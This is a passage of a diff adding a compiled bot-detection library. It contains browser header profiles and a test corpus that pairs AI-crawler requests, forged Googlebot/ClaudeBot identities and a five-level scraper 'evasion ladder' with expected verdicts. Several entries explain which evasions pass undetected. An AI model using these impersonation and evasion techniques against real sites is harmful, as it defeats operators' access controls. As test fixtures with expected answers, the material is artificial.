userAgent: "Mozilla/5.0 (Linux; U; Android 14; zh-cn; 2211133C Build/UKQ1.230804.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 MQQBrowser/15.7 Mobile Safari/537.36",
|
|
877
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
878
|
+
acceptEncoding: "gzip, deflate",
|
|
879
|
+
acceptLanguage: "zh-CN,zh;q=0.9",
|
|
880
|
+
build: legacyWebkitBuild
|
|
881
|
+
},
|
|
882
|
+
// ---- Consoles, televisions and embedded ----
|
|
883
|
+
silkKindle: {
|
|
884
|
+
userAgent: "Mozilla/5.0 (Linux; Android 11; KFRAWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36",
|
|
885
|
+
acceptDocument: CHROME_ACCEPT,
|
|
886
|
+
acceptEncoding: "gzip, deflate, br",
|
|
887
|
+
acceptLanguage: "en-GB,en;q=0.9",
|
|
888
|
+
build: legacyWebkitBuild
|
|
889
|
+
},
|
|
890
|
+
tizenTv: {
|
|
891
|
+
userAgent: "Mozilla/5.0 (SMART-TV; LINUX; Tizen 8.0) AppleWebKit/537.36 (KHTML, like Gecko) 108.0.5359.1/8.0 TV Safari/537.36",
|
|
892
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
893
|
+
acceptEncoding: "gzip, deflate",
|
|
894
|
+
acceptLanguage: "en-US",
|
|
895
|
+
build: legacyWebkitBuild
|
|
896
|
+
},
|
|
897
|
+
webOsTv: {
|
|
898
|
+
userAgent: "Mozilla/5.0 (Web0S; Linux/SmartTV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.215 Safari/537.36 WebAppManager",
|
|
899
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
900
|
+
acceptEncoding: "gzip, deflate",
|
|
901
|
+
acceptLanguage: "en-GB",
|
|
902
|
+
build: legacyWebkitBuild
|
|
903
|
+
},
|
|
904
|
+
playstation: {
|
|
905
|
+
userAgent: "Mozilla/5.0 (PlayStation; PlayStation 5/9.60) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
|
|
906
|
+
acceptDocument: SAFARI_ACCEPT,
|
|
907
|
+
acceptEncoding: "gzip, deflate, br",
|
|
908
|
+
acceptLanguage: "en-GB",
|
|
909
|
+
build: legacyWebkitBuild
|
|
910
|
+
},
|
|
911
|
+
nintendoSwitch: {
|
|
912
|
+
userAgent: "Mozilla/5.0 (Nintendo Switch; WifiWebAuthApplet) AppleWebKit/609.4 (KHTML, like Gecko) NF/6.0.2.23.4 NintendoBrowser/5.1.0.23519",
|
|
913
|
+
acceptDocument: LEGACY_ACCEPT,
|
|
914
|
+
acceptEncoding: "gzip, deflate",
|
|
915
|
+
acceptLanguage: "en-GB",
|
|
916
|
+
build: legacyWebkitBuild
|
|
917
|
+
}
|
|
918
|
+
};
|
|
919
|
+
var PROFILE_NAMES = Object.keys(PROFILES);
|
|
920
|
+
function browser(name, options = {}) {
|
|
921
|
+
const profile = PROFILES[name];
|
|
922
|
+
const resolved = {
|
|
923
|
+
...options,
|
|
924
|
+
host: options.host ?? HOST,
|
|
925
|
+
kind: options.kind ?? "navigate",
|
|
926
|
+
acceptLanguage: options.acceptLanguage ?? profile.acceptLanguage
|
|
927
|
+
};
|
|
928
|
+
return {
|
|
929
|
+
headers: profile.build(resolved, profile),
|
|
930
|
+
protocol: "https",
|
|
931
|
+
httpVersion: "1.1",
|
|
932
|
+
...options.kind === "form-post" ? { method: "POST" } : {}
|
|
933
|
+
};
|
|
934
|
+
}
|
|
935
|
+
function userAgentOf(name) {
|
|
936
|
+
return PROFILES[name].userAgent;
|
|
937
|
+
}
|
|
938
|
+
function plain(userAgent, extra = [], host = HOST) {
|
|
939
|
+
const overridden = new Set(extra.map(([name]) => name.toLowerCase()));
|
|
940
|
+
const defaults = [["Host", host], ["User-Agent", userAgent], ["Accept", "*/*"]].filter(([name]) => !overridden.has(name.toLowerCase()));
|
|
941
|
+
return {
|
|
942
|
+
headers: [...defaults, ...extra],
|
|
943
|
+
protocol: "https",
|
|
944
|
+
httpVersion: "1.1"
|
|
945
|
+
};
|
|
946
|
+
}
|
|
947
|
+
function crawler(userAgent, options = {}) {
|
|
948
|
+
return {
|
|
949
|
+
headers: [
|
|
950
|
+
["Host", options.host ?? HOST],
|
|
951
|
+
["User-Agent", userAgent],
|
|
952
|
+
["Accept", options.accept ?? "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
953
|
+
["Accept-Encoding", options.encoding ?? "gzip, deflate, br"],
|
|
954
|
+
...options.from !== void 0 ? [["From", options.from]] : [],
|
|
955
|
+
["Connection", "keep-alive"],
|
|
956
|
+
...options.extra ?? []
|
|
957
|
+
],
|
|
958
|
+
protocol: "https",
|
|
959
|
+
httpVersion: "1.1"
|
|
960
|
+
};
|
|
961
|
+
}
|
|
962
|
+
|
|
963
|
+
// src/corpus/schema.ts
|
|
964
|
+
var DENYING_ACTIONS = ["block", "drop", "redirect"];
|
|
965
|
+
function human(input) {
|
|
966
|
+
return {
|
|
967
|
+
...input,
|
|
968
|
+
audience: "human",
|
|
969
|
+
expect: {
|
|
970
|
+
neverAction: DENYING_ACTIONS,
|
|
971
|
+
...input.expect
|
|
972
|
+
}
|
|
973
|
+
};
|
|
974
|
+
}
|
|
975
|
+
function bot(input) {
|
|
976
|
+
return input;
|
|
977
|
+
}
|
|
978
|
+
function repeat(template, count, everyMs, pathAt) {
|
|
979
|
+
return Array.from({ length: count }, (_, index) => ({
|
|
980
|
+
...template,
|
|
981
|
+
...pathAt ? { path: pathAt(index) } : {},
|
|
982
|
+
atMs: index * everyMs
|
|
983
|
+
}));
|
|
984
|
+
}
|
|
985
|
+
var HUMAN_GAPS_MS = [1400, 8200, 3100, 21e3, 2600, 47e3, 5900, 1100, 12400, 3800, 64e3, 2200, 9700, 1800];
|
|
986
|
+
function humanPaced(template, paths) {
|
|
987
|
+
let at = 0;
|
|
988
|
+
return paths.map((path, index) => {
|
|
989
|
+
if (index > 0) at += HUMAN_GAPS_MS[(index - 1) % HUMAN_GAPS_MS.length];
|
|
990
|
+
return { ...template, path, atMs: at };
|
|
991
|
+
});
|
|
992
|
+
}
|
|
993
|
+
|
|
994
|
+
// src/corpus/ranges.ts
|
|
995
|
+
var CORPUS_CRAWLER_RANGES = {
|
|
996
|
+
// Amazonbot is deliberately absent. Something has to exercise the third outcome —
|
|
997
|
+
// a claim that can be neither confirmed nor refuted because no list was supplied —
|
|
998
|
+
// and that outcome must never look like an accusation.
|
|
999
|
+
gptbot: ["198.51.100.0/25"],
|
|
1000
|
+
"oai-searchbot": ["198.51.100.0/25"],
|
|
1001
|
+
"chatgpt-user": ["198.51.100.0/25"],
|
|
1002
|
+
claudebot: ["198.51.100.128/26"],
|
|
1003
|
+
perplexitybot: ["198.51.100.192/27"],
|
|
1004
|
+
"meta-ai": ["198.51.100.240/29"],
|
|
1005
|
+
"facebook-external": ["198.51.100.240/29"],
|
|
1006
|
+
duckduckbot: ["198.51.100.248/30"],
|
|
1007
|
+
uptimerobot: ["198.51.100.252/31"],
|
|
1008
|
+
pingdom: ["198.51.100.254/32"]
|
|
1009
|
+
};
|
|
1010
|
+
var IN_RANGE = {
|
|
1011
|
+
gptbot: "198.51.100.10",
|
|
1012
|
+
"oai-searchbot": "198.51.100.11",
|
|
1013
|
+
"chatgpt-user": "198.51.100.12",
|
|
1014
|
+
claudebot: "198.51.100.130",
|
|
1015
|
+
perplexitybot: "198.51.100.194",
|
|
1016
|
+
"meta-ai": "198.51.100.241",
|
|
1017
|
+
"facebook-external": "198.51.100.242",
|
|
1018
|
+
duckduckbot: "198.51.100.249",
|
|
1019
|
+
uptimerobot: "198.51.100.252",
|
|
1020
|
+
pingdom: "198.51.100.254"
|
|
1021
|
+
};
|
|
1022
|
+
var OUT_OF_RANGE = "192.0.2.66";
|
|
1023
|
+
var GOOGLEBOT_IP = "66.249.66.1";
|
|
1024
|
+
var GOOGLEBOT_PTR = "crawl-66-249-66-1.googlebot.com";
|
|
1025
|
+
var BINGBOT_IP = "40.77.167.1";
|
|
1026
|
+
var BINGBOT_PTR = "msnbot-40-77-167-1.search.msn.com";
|
|
1027
|
+
|
|
1028
|
+
// src/corpus/ai-crawlers.ts
|
|
1029
|
+
function ai(id, title, userAgent, identity, provenance, notes) {
|
|
1030
|
+
return bot({
|
|
1031
|
+
id,
|
|
1032
|
+
title,
|
|
1033
|
+
audience: "declared-bot",
|
|
1034
|
+
category: "ai-crawler",
|
|
1035
|
+
provenance,
|
|
1036
|
+
...notes !== void 0 ? { notes } : {},
|
|
1037
|
+
requests: [plain(userAgent)],
|
|
1038
|
+
expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] }
|
|
1039
|
+
});
|
|
1040
|
+
}
|
|
1041
|
+
var AI_CRAWLER_CASES = [
|
|
1042
|
+
// --- OpenAI's three ---------------------------------------------------------
|
|
1043
|
+
bot({
|
|
1044
|
+
id: "gptbot-in-range",
|
|
1045
|
+
requires: ["crawler-ranges"],
|
|
1046
|
+
title: "GPTBot from OpenAI's published range",
|
|
1047
|
+
audience: "declared-bot",
|
|
1048
|
+
category: "ai-crawler",
|
|
1049
|
+
provenance: "OpenAI publishes its crawler ranges at platform.openai.com/docs/bots",
|
|
1050
|
+
notes: "Training crawler. Confirmable only because the ranges were supplied \u2014 with none configured this is an unverifiable claim, which is the next case.",
|
|
1051
|
+
requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"), ip: IN_RANGE["gptbot"] }],
|
|
1052
|
+
expect: { verdict: "verified-bot", certain: true, identity: "gptbot", detectors: ["crawler-verification"] },
|
|
1053
|
+
tags: ["verification"]
|
|
1054
|
+
}),
|
|
1055
|
+
bot({
|
|
1056
|
+
id: "amazonbot-no-ranges-configured",
|
|
1057
|
+
title: "Amazonbot when no ranges have been configured for it",
|
|
1058
|
+
audience: "declared-bot",
|
|
1059
|
+
category: "ai-crawler",
|
|
1060
|
+
provenance: "The library ships no address data; a claim it cannot check is left unchecked",
|
|
1061
|
+
notes: "The third outcome, and the one most easily got wrong. Unverifiable is not the same as false: with no published list to compare against, the claim stands on its own honesty and the crawler is neither confirmed nor accused.",
|
|
1062
|
+
requests: [{ ...plain("Mozilla/5.0 (Linux; Android 6.0.1;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"), ip: "203.0.113.77" }],
|
|
1063
|
+
expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true, identity: "amazonbot", notDetectors: ["crawler-verification"] },
|
|
1064
|
+
tags: ["verification"]
|
|
1065
|
+
}),
|
|
1066
|
+
bot({
|
|
1067
|
+
id: "gptbot-forged",
|
|
1068
|
+
requires: ["crawler-ranges"],
|
|
1069
|
+
title: "A forged GPTBot from outside the published range",
|
|
1070
|
+
audience: "hostile",
|
|
1071
|
+
category: "ai-crawler",
|
|
1072
|
+
provenance: "Claiming a crawler identity is the cheapest way to ask for privileged treatment",
|
|
1073
|
+
notes: "Proven false, not merely suspected: the operator publishes the exhaustive list and this address is not on it.",
|
|
1074
|
+
requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot"), ip: OUT_OF_RANGE }],
|
|
1075
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "gptbot" },
|
|
1076
|
+
tags: ["verification", "impersonation"]
|
|
1077
|
+
}),
|
|
1078
|
+
ai("oai-searchbot", "OAI-SearchBot", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot", "oai-searchbot", "Search indexing for ChatGPT citations \u2014 declining this removes you from answers", "Distinct from GPTBot. Blocking both when you meant to block training is a common and costly mistake."),
|
|
1079
|
+
ai("chatgpt-user", "ChatGPT-User", "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "chatgpt-user", "Fetches a page because a user asked about it, in real time", "Arguably a person holding a tool rather than a crawler. Rate-limiting it is reasonable; blocking it denies a reader."),
|
|
1080
|
+
// --- Anthropic --------------------------------------------------------------
|
|
1081
|
+
bot({
|
|
1082
|
+
id: "claudebot-in-range",
|
|
1083
|
+
requires: ["crawler-ranges"],
|
|
1084
|
+
title: "ClaudeBot from its published range",
|
|
1085
|
+
audience: "declared-bot",
|
|
1086
|
+
category: "ai-crawler",
|
|
1087
|
+
provenance: "Anthropic documents its crawlers and publishes ranges",
|
|
1088
|
+
requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"), ip: IN_RANGE["claudebot"] }],
|
|
1089
|
+
expect: { verdict: "verified-bot", certain: true, identity: "claudebot" },
|
|
1090
|
+
tags: ["verification"]
|
|
1091
|
+
}),
|
|
1092
|
+
ai("claude-user", "Claude-User", "Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)", "claudebot", "Fetches a page on a user's behalf during a conversation"),
|
|
1093
|
+
ai("claude-searchbot", "Claude-SearchBot", "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +Claude-SearchBot@anthropic.com)", "claudebot", "Indexes pages so Claude can cite them"),
|
|
1094
|
+
// --- The rest ---------------------------------------------------------------
|
|
1095
|
+
bot({
|
|
1096
|
+
id: "perplexitybot-in-range",
|
|
1097
|
+
requires: ["crawler-ranges"],
|
|
1098
|
+
title: "PerplexityBot from its published range",
|
|
1099
|
+
audience: "declared-bot",
|
|
1100
|
+
category: "ai-crawler",
|
|
1101
|
+
provenance: "Perplexity publishes ranges for its indexing crawler",
|
|
1102
|
+
requests: [{ ...plain("Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot"), ip: IN_RANGE["perplexitybot"] }],
|
|
1103
|
+
expect: { verdict: "verified-bot", certain: true, identity: "perplexitybot" },
|
|
1104
|
+
tags: ["verification"]
|
|
1105
|
+
}),
|
|
1106
|
+
ai("perplexity-user", "Perplexity-User", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Perplexity-User/1.0; +https://perplexity.ai/perplexity-user", "perplexitybot", "Real-time fetch on a user's request"),
|
|
1107
|
+
ai("google-extended", "Google-Extended", "Mozilla/5.0 (compatible; Google-Extended/1.0)", "google-extended", "A robots.txt token controlling Gemini training, not a separate crawler \u2014 declining it does not affect Search ranking", "Worth understanding: this is a *policy token* Google honours, not a distinct fetcher. Confusing it with Googlebot loses your search traffic for nothing."),
|
|
1108
|
+
ai("applebot-extended", "Applebot-Extended", "Mozilla/5.0 (compatible; Applebot-Extended/0.1; +http://www.apple.com/go/applebot)", "applebot-extended", "Apple's training-opt-out token, paired with Applebot for search"),
|
|
1109
|
+
ai("ccbot", "CCBot (Common Crawl)", "CCBot/2.0 (https://commoncrawl.org/faq/)", "ccbot", "Feeds the Common Crawl corpus, which most open models were trained on"),
|
|
1110
|
+
ai("meta-externalagent", "Meta-ExternalAgent", "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "meta-ai", "Meta's AI training crawler, separate from facebookexternalhit"),
|
|
1111
|
+
ai("meta-externalfetcher", "Meta-ExternalFetcher", "meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)", "meta-ai", "Fetches on a user's behalf inside Meta AI"),
|
|
1112
|
+
ai("cohere-ai", "Cohere", "cohere-training-data-crawler/1.0 (+https://cohere.com/data-crawler)", "cohere-ai", "Training data collection"),
|
|
1113
|
+
ai("diffbot", "Diffbot", "Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)", "diffbot", "Structured extraction sold as a product \u2014 a crawler with mixed robots.txt compliance"),
|
|
1114
|
+
ai("ai2bot", "AI2Bot", "Mozilla/5.0 (compatible) AI2Bot (+https://www.allenai.org/crawler)", "ai2bot", "The Allen Institute's research crawler"),
|
|
1115
|
+
ai("youbot", "YouBot", "Mozilla/5.0 (compatible; YouBot (+http://www.you.com))", "youbot", "You.com's search and answer crawler"),
|
|
1116
|
+
ai("timpibot", "Timpibot", "Mozilla/5.0 (compatible; Timpibot/0.1; +http://www.timpi.io)", "timpibot", "Decentralised index crawler"),
|
|
1117
|
+
bot({
|
|
1118
|
+
id: "bytespider",
|
|
1119
|
+
title: "Bytespider",
|
|
1120
|
+
audience: "unwanted-bot",
|
|
1121
|
+
category: "ai-crawler",
|
|
1122
|
+
provenance: "ByteDance's crawler. Widely reported for aggressive rates and inconsistent robots.txt compliance, and it publishes no vendor documentation page at all.",
|
|
1123
|
+
notes: "Classified `unwanted-bot` rather than `declared-bot` on its behaviour, not its honesty \u2014 it does identify itself. The distinction is a policy judgement the corpus records rather than a technical one.",
|
|
1124
|
+
requests: [plain("Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)")],
|
|
1125
|
+
expect: { verdict: "confirmed-bot", certain: true, identity: "bytespider" }
|
|
1126
|
+
}),
|
|
1127
|
+
bot({
|
|
1128
|
+
id: "agentic-browser",
|
|
1129
|
+
title: "An agentic assistant driving a real browser on a user's behalf",
|
|
1130
|
+
audience: "declared-bot",
|
|
1131
|
+
category: "ai-agent",
|
|
1132
|
+
provenance: "The category that appeared during 2025 and grew fastest through 2026: an assistant operating a real browser to complete a task a person asked for. Some announce themselves; this one does.",
|
|
1133
|
+
notes: "The hardest case in the corpus, and not a technical problem. Every signal says automation, and the honest description is 'a person, using a tool, that happens to be a browser being driven'. The library reports what it sees; whether that should be served is a question about your business, not your logs.",
|
|
1134
|
+
requests: [
|
|
1135
|
+
plain(
|
|
1136
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Autonomous-Agent/1.0 (+https://example-agent.ai/bot)",
|
|
1137
|
+
[["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
|
|
1138
|
+
)
|
|
1139
|
+
],
|
|
1140
|
+
expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true },
|
|
1141
|
+
tags: ["frontier"]
|
|
1142
|
+
})
|
|
1143
|
+
];
|
|
1144
|
+
|
|
1145
|
+
// src/corpus/adversarial.ts
|
|
1146
|
+
var CHROME_UA = userAgentOf("chromeWindows");
|
|
1147
|
+
var ADVERSARIAL_CASES = [
|
|
1148
|
+
// ---------------------------------------------------------------------------
|
|
1149
|
+
// Forged identities. The narrow case where a lie is provable.
|
|
1150
|
+
// ---------------------------------------------------------------------------
|
|
1151
|
+
bot({
|
|
1152
|
+
id: "forged-googlebot-wrong-ptr",
|
|
1153
|
+
title: "A forged Googlebot whose address reverse-resolves elsewhere",
|
|
1154
|
+
audience: "hostile",
|
|
1155
|
+
category: "impersonation",
|
|
1156
|
+
provenance: "The commonest forgery: claim the crawler every site allows",
|
|
1157
|
+
notes: "Proven, not suspected. Google publishes a DNS-based proof and the lookup returns a definitive contradiction.",
|
|
1158
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.44" }],
|
|
1159
|
+
dns: { reverse: { "192.0.2.44": ["vps-4471.cheap-hosting.example"] } },
|
|
1160
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "googlebot", detectors: ["crawler-verification"] },
|
|
1161
|
+
tags: ["impersonation", "verification"]
|
|
1162
|
+
}),
|
|
1163
|
+
bot({
|
|
1164
|
+
id: "forged-googlebot-no-ptr",
|
|
1165
|
+
title: "A forged Googlebot from an address with no PTR record at all",
|
|
1166
|
+
audience: "hostile",
|
|
1167
|
+
category: "impersonation",
|
|
1168
|
+
provenance: "Every address a verifiable crawler uses has a PTR record; a bare VPS usually does not",
|
|
1169
|
+
notes: "NXDOMAIN is a definitive answer, unlike a timeout. That distinction is what separates this case from `googlebot-dns-unavailable`.",
|
|
1170
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.45" }],
|
|
1171
|
+
dns: {},
|
|
1172
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "googlebot" },
|
|
1173
|
+
tags: ["impersonation", "verification"]
|
|
1174
|
+
}),
|
|
1175
|
+
bot({
|
|
1176
|
+
id: "forged-googlebot-suffix-trick",
|
|
1177
|
+
title: "A forgery whose PTR merely contains the operator's domain",
|
|
1178
|
+
audience: "hostile",
|
|
1179
|
+
category: "impersonation",
|
|
1180
|
+
provenance: "googlebot.com.attacker.example resolves under a domain the attacker controls",
|
|
1181
|
+
notes: "The reason domain matching is on label boundaries and not a substring test.",
|
|
1182
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.46" }],
|
|
1183
|
+
dns: { reverse: { "192.0.2.46": ["googlebot.com.attacker.example"] }, forward: { "googlebot.com.attacker.example": ["192.0.2.46"] } },
|
|
1184
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
|
|
1185
|
+
tags: ["impersonation", "verification"]
|
|
1186
|
+
}),
|
|
1187
|
+
bot({
|
|
1188
|
+
id: "forged-googlebot-forward-mismatch",
|
|
1189
|
+
title: "A forgery with a PTR it controls that does not resolve back",
|
|
1190
|
+
audience: "hostile",
|
|
1191
|
+
category: "impersonation",
|
|
1192
|
+
provenance: "Anyone controlling reverse DNS for their own address can point it at googlebot.com; only the forward confirmation stops them",
|
|
1193
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"), ip: "192.0.2.47" }],
|
|
1194
|
+
dns: { reverse: { "192.0.2.47": ["crawl-1.googlebot.com"] }, forward: { "crawl-1.googlebot.com": [GOOGLEBOT_IP] } },
|
|
1195
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
|
|
1196
|
+
tags: ["impersonation", "verification"]
|
|
1197
|
+
}),
|
|
1198
|
+
bot({
|
|
1199
|
+
id: "forged-bingbot",
|
|
1200
|
+
title: "A forged bingbot",
|
|
1201
|
+
audience: "hostile",
|
|
1202
|
+
category: "impersonation",
|
|
1203
|
+
provenance: "The same trick against the second most-allowed crawler",
|
|
1204
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"), ip: "192.0.2.48" }],
|
|
1205
|
+
dns: { reverse: { "192.0.2.48": ["static.192-0-2-48.example.net"] } },
|
|
1206
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true },
|
|
1207
|
+
tags: ["impersonation"]
|
|
1208
|
+
}),
|
|
1209
|
+
bot({
|
|
1210
|
+
id: "forged-claudebot",
|
|
1211
|
+
requires: ["crawler-ranges"],
|
|
1212
|
+
title: "A forged ClaudeBot from outside the published range",
|
|
1213
|
+
audience: "hostile",
|
|
1214
|
+
category: "impersonation",
|
|
1215
|
+
provenance: "AI crawlers are increasingly allowlisted, which makes them worth forging",
|
|
1216
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"), ip: OUT_OF_RANGE }],
|
|
1217
|
+
expect: { verdict: "confirmed-bot", botClass: "impersonator", certain: true, identity: "claudebot" },
|
|
1218
|
+
tags: ["impersonation", "verification"]
|
|
1219
|
+
}),
|
|
1220
|
+
// ---------------------------------------------------------------------------
|
|
1221
|
+
// The evasion ladder.
|
|
1222
|
+
// ---------------------------------------------------------------------------
|
|
1223
|
+
bot({
|
|
1224
|
+
id: "scraper-copied-ua-only",
|
|
1225
|
+
title: "Level 1: a scraper that copied a Chrome User-Agent and nothing else",
|
|
1226
|
+
audience: "unwanted-bot",
|
|
1227
|
+
category: "evasion-ladder",
|
|
1228
|
+
provenance: "The overwhelming majority of scraping. One header changed, everything else default.",
|
|
1229
|
+
notes: "Missing Accept-Language, missing Sec-Fetch, missing Client Hints, and Accept is */* on a navigation. Four observations \u2014 but *not* four independent ones: the first three are absences with one shared benign explanation, a stripping intermediary, so they collapse to their strongest member rather than compounding. That is why this scores in the sixties rather than the nineties, and it is deliberate: the same four absences arrive together from a corporate proxy in front of a real person.",
|
|
1230
|
+
requests: [{ headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"]], protocol: "https", httpVersion: "1.1" }],
|
|
1231
|
+
expect: { verdict: "suspected-bot", certain: false, minScore: 60, detectors: ["header-integrity"] },
|
|
1232
|
+
tags: ["evasion"]
|
|
1233
|
+
}),
|
|
1234
|
+
bot({
|
|
1235
|
+
id: "scraper-copied-headers-wrong-order",
|
|
1236
|
+
title: "Level 2: a scraper that copied the whole header set but not the order",
|
|
1237
|
+
audience: "unwanted-bot",
|
|
1238
|
+
category: "evasion-ladder",
|
|
1239
|
+
provenance: "Copying headers out of devtools into a dict loses the order, because a dict has none",
|
|
1240
|
+
notes: "Everything a browser sends, in an order no browser sends it in. Only the ordering rules and the missing hints are left.",
|
|
1241
|
+
requests: [
|
|
1242
|
+
{
|
|
1243
|
+
headers: [
|
|
1244
|
+
["Host", "shop.example"],
|
|
1245
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
1246
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],
|
|
1247
|
+
["Accept-Language", "en-US,en;q=0.9"],
|
|
1248
|
+
["User-Agent", CHROME_UA],
|
|
1249
|
+
["Sec-Fetch-Site", "none"],
|
|
1250
|
+
["Sec-Fetch-Mode", "navigate"],
|
|
1251
|
+
["Sec-Fetch-User", "?1"],
|
|
1252
|
+
["Sec-Fetch-Dest", "document"],
|
|
1253
|
+
["Upgrade-Insecure-Requests", "1"],
|
|
1254
|
+
["Connection", "keep-alive"]
|
|
1255
|
+
],
|
|
1256
|
+
protocol: "https",
|
|
1257
|
+
httpVersion: "1.1"
|
|
1258
|
+
}
|
|
1259
|
+
],
|
|
1260
|
+
expect: { certain: false, detectors: ["header-order"], neverAction: ["drop"] },
|
|
1261
|
+
tags: ["evasion"]
|
|
1262
|
+
}),
|
|
1263
|
+
bot({
|
|
1264
|
+
id: "scraper-perfect-headers",
|
|
1265
|
+
title: "Level 3: a scraper that copied the header set, the order and the hints",
|
|
1266
|
+
audience: "unwanted-bot",
|
|
1267
|
+
category: "evasion-ladder",
|
|
1268
|
+
provenance: "What a competent scraping stack sends in 2026, using a browser-impersonating TLS library",
|
|
1269
|
+
notes: "Indistinguishable from a browser on a single request, and the library says so: no evidence, verdict unknown. Anything else would be an invented signal. Only behaviour over time can separate this, and behaviour cannot prove anything \u2014 which is exactly why it may not block.",
|
|
1270
|
+
requests: [browser("chromeWindows")],
|
|
1271
|
+
expect: { verdict: "unknown", maxScore: 0 },
|
|
1272
|
+
tags: ["evasion", "known-limit"]
|
|
1273
|
+
}),
|
|
1274
|
+
bot({
|
|
1275
|
+
id: "scraper-perfect-headers-machine-paced",
|
|
1276
|
+
title: "Level 4: the same scraper, enumerating at a machine-perfect rhythm",
|
|
1277
|
+
audience: "unwanted-bot",
|
|
1278
|
+
category: "evasion-ladder",
|
|
1279
|
+
provenance: "Perfect headers, and a request every two seconds to stay under a rate limit",
|
|
1280
|
+
notes: "Rate counting sees nothing \u2014 thirty requests over a minute is unremarkable. Cadence sees a coefficient of variation near zero, which no person produces. This is the case where behaviour earns its place.",
|
|
1281
|
+
requests: Array.from({ length: 20 }, (_, index) => ({ ...browser("chromeWindows"), path: `/products/${index + 1}`, atMs: index * 2e3 })),
|
|
1282
|
+
expect: { certain: false, detectors: ["cadence"], neverAction: ["drop"] },
|
|
1283
|
+
tags: ["evasion"]
|
|
1284
|
+
}),
|
|
1285
|
+
bot({
|
|
1286
|
+
id: "scraper-perfect-headers-human-paced",
|
|
1287
|
+
title: "Level 5: perfect headers, human pacing, one page at a time",
|
|
1288
|
+
audience: "unwanted-bot",
|
|
1289
|
+
category: "evasion-ladder",
|
|
1290
|
+
provenance: "A distributed scrape: each address takes a handful of pages at irregular intervals and never returns",
|
|
1291
|
+
notes: "Not detected, and the corpus records that plainly. At this point the difference from a person has stopped being technical \u2014 there is no signal left at the HTTP layer. What defeats this is cost, not detection: a proof of work, or an account.",
|
|
1292
|
+
requests: [
|
|
1293
|
+
{ ...browser("chromeWindows"), path: "/products/501", atMs: 0 },
|
|
1294
|
+
{ ...browser("chromeWindows"), path: "/products/502", atMs: 7400 },
|
|
1295
|
+
{ ...browser("chromeWindows"), path: "/products/503", atMs: 23100 }
|
|
1296
|
+
],
|
|
1297
|
+
expect: { verdict: "unknown", maxScore: 30 },
|
|
1298
|
+
tags: ["evasion", "known-limit"]
|
|
1299
|
+
}),
|
|
1300
|
+
// ---------------------------------------------------------------------------
|
|
1301
|
+
// Traps: detection by construction rather than by inference.
|
|
1302
|
+
// ---------------------------------------------------------------------------
|
|
1303
|
+
bot({
|
|
1304
|
+
id: "trap-path-followed",
|
|
1305
|
+
title: "Following a link hidden from layout and from assistive technology",
|
|
1306
|
+
